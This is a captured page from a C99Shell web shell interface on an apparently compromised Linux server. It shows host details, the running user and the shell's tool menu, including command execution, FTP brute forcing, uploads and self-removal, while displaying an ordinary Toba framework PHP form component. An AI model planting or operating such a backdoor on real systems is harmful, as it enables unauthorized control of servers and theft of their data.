!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/info/componentes_perfil/   drwxr-xr-x
Free 14.56 GB of 61.93 GB (23.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_rf_componente_formulario.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
class toba_rf_componente_formulario extends toba_rf_componente
{
    function 
inicializar()
    {
        
$this->cargar_efs();
    }    

    function 
cargar_efs()
    {
        
$efs $this->cargar_datos_efs();
        if(
count($efs) > 0) {
            
$grupo = new toba_rf_grupo_efs('<b>CAMPOS</b>',$this);
            
$e = array();
            foreach(
$efs as $ef) {
                
$e[] = new toba_rf_subcomponente_ef($ef['etiqueta'], $grupo$ef['id'] , $ef['proyecto'], $this->item
                                                        
$this->restriccion,
                                                        
$ef['no_visible'],
                                                        
$ef['no_editable'], $ef['formulario'], $ef['deshabilitar_rest_func']);        
            }
            
$grupo->set_hijos($e);
            
$this->agregar_hijo($grupo);
        }
    }

    function 
cargar_datos_efs()
    {
        
$item quote($this->item);
        
$restriccion quote($this->restriccion);
        
$componente quote($this->componente);
        
$proyecto quote($this->proyecto);
        
$sql "SELECT     ef.objeto_ei_formulario as            formulario,
                        ef.objeto_ei_formulario_fila as        id,
                        ef.objeto_ei_formulario_proyecto as    proyecto,
                        ef.etiqueta as                        etiqueta, 
                        ef.deshabilitar_rest_func,
                        ref.no_visible as                    no_visible,
                        ref.no_editable as                    no_editable
                FROM     apex_objeto_ei_formulario_ef ef
                        LEFT OUTER JOIN apex_restriccion_funcional_ef ref
                            ON ef.objeto_ei_formulario_fila = ref.objeto_ei_formulario_fila 
                                AND ef.objeto_ei_formulario = ref.objeto_ei_formulario
                                AND ef.objeto_ei_formulario_proyecto = ref.proyecto
                                AND ref.item = 
$item
                                AND ref.restriccion_funcional = 
$restriccion
                WHERE    (ef.desactivado <> 1 OR ef.desactivado IS NULL)
                AND        ( (ef.obligatorio <> 1 OR ef.obligatorio IS NULL) 
                        OR ( ef.obligatorio = 1  AND ef.oculto_relaja_obligatorio = 1 ) )
                AND        ef.objeto_ei_formulario = 
$componente
                AND        ef.objeto_ei_formulario_proyecto = 
$proyecto
                ORDER BY ef.orden"
;
        return 
toba::db()->consultar($sql);
    }
    
    function 
sincronizar()
    {
        if(
$this->no_visible_original != $this->no_visible_actual) {
            if (
$this->no_visible_actual == 1) {
                
$this->agregar_restriccion();
            }else{
                
$this->eliminar_restriccion();
            }
        }
        foreach (
$this->get_hijos() as $hijo){
            
$hijo->sincronizar();
        }
    }
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6202 ]--